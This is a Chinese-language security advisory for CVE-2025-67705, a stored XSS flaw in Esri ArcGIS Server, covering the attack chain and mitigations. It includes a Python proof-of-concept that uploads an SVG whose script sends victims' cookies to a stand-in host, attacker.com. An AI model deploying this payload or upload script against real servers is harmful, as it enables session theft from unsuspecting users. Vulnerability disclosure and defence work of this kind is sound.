IPBUF安全漏洞报告
English
CVE-2025-67705 CVSS 6.1 中危

CVE-2025-67705: Esri ArcGIS Server存储型XSS漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-67705
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Esri ArcGIS Server 11.4及更早版本(Windows和Linux)

相关标签

存储型XSS跨站脚本Esri ArcGIS ServerCVE-2025-67705文件上传漏洞Web应用安全中危漏洞Windows/Linux

漏洞概述

CVE-2025-67705是Esri ArcGIS Server中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于ArcGIS Server 11.4及更早版本中,在特定配置条件下,允许远程未认证攻击者上传包含恶意JavaScript代码的文件。当其他用户访问或浏览这些被污染的内容时,恶意代码将在受害者浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击或进一步的身份验证凭据盗取。由于该漏洞属于存储型XSS,恶意脚本被永久存储在服务器端,所有访问受影响页面的用户都可能成为受害者,危害范围较反射型XSS更广。攻击者利用此漏洞无需任何认证凭证,但需要诱导用户进行交互操作,如访问特定页面或点击恶意链接。

技术细节

该存储型XSS漏洞源于ArcGIS Server对用户上传文件内容的输入验证和输出编码不完善。攻击者可以利用未授权的文件上传接口,向服务器提交包含恶意HTML/JavaScript代码的文件(如SVG图片、HTML文档或带有脚本标签的资源文件)。由于服务器未对上传内容进行充分的HTML标签过滤和脚本上下文转义,这些恶意内容被永久存储在服务器文件系统中。当其他用户通过Web界面访问或预览这些文件时,浏览器会将其作为可信内容解析执行,从而触发XSS攻击。攻击者可利用此漏洞窃取用户会话Cookie、伪造表单提交、植入钓鱼页面或执行进一步的内网探测。CVSS 3.1评分6.1(AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)表明该漏洞可通过网络利用,无需认证但需要用户交互,影响范围限于机密性和完整性。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者识别目标ArcGIS Server版本,确认其版本号<=11.4且运行在Windows或Linux平台
STEP 2
步骤2:漏洞识别
攻击者发现服务器的文件上传接口存在输入验证缺陷,可以上传包含恶意脚本的文件类型(如SVG、HTML)
STEP 3
步骤3:恶意文件上传
攻击者构造包含XSS payload的SVG或HTML文件,通过未认证接口上传到服务器,payload会在其他用户浏览器中执行
STEP 4
步骤4:诱导用户访问
攻击者通过钓鱼邮件、社交工程或嵌入恶意链接的方式,诱导目标用户访问已上传的恶意文件
STEP 5
步骤5:XSS执行与数据窃取
当受害者浏览器加载恶意文件时,存储型XSS payload在浏览器上下文中执行,窃取Cookie、会话令牌或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-67705 PoC - Stored XSS in Esri ArcGIS Server # Target: Esri ArcGIS Server <= 11.4 TARGET = "https://target-arcgis-server.com" XSS_PAYLOAD = '<script>document.location="https://attacker.com/log?c="+document.cookie</script>' def test_stored_xss(): """ Test for stored XSS vulnerability in ArcGIS Server file upload functionality. This PoC demonstrates how an unauthenticated attacker can store malicious files. """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } # Malicious file content with XSS payload malicious_content = f'''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <script type="text/javascript"> {XSS_PAYLOAD} </script> </svg>''' # Attempt to upload malicious file (unauthenticated) upload_endpoint = f"{TARGET}/arcgis/rest/services/upload" files = {'file': ('malicious.svg', malicious_content, 'image/svg+xml')} try: response = requests.post(upload_endpoint, files=files, headers=headers, timeout=10, verify=False) if response.status_code == 200: result = response.json() print(f"[+] File uploaded successfully: {result}") # Access the uploaded file to trigger XSS if 'itemId' in result: access_url = f"{TARGET}/arcgis/sharing/rest/content/items/{result['itemId']}" print(f"[+] Access uploaded content at: {access_url}") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") if __name__ == "__main__": test_stored_xss()

影响范围

Esri ArcGIS Server 11.4
Esri ArcGIS Server 11.3
Esri ArcGIS Server 11.2
Esri ArcGIS Server 11.1
Esri ArcGIS Server 11.0
Esri ArcGIS Server 10.9及更早版本(Windows和Linux)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制或禁用文件上传功能的公开访问,对上传接口实施认证和授权控制;2)配置Web应用防火墙(WAF)规则过滤包含script标签、javascript:协议和事件处理器属性的请求;3)启用Content-Security-Policy响应头禁止内联脚本执行;4)监控服务器文件系统变更,及时发现异常文件上传行为;5)对管理员和最终用户进行安全意识培训,提醒不要点击来源不明的链接或预览未知文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表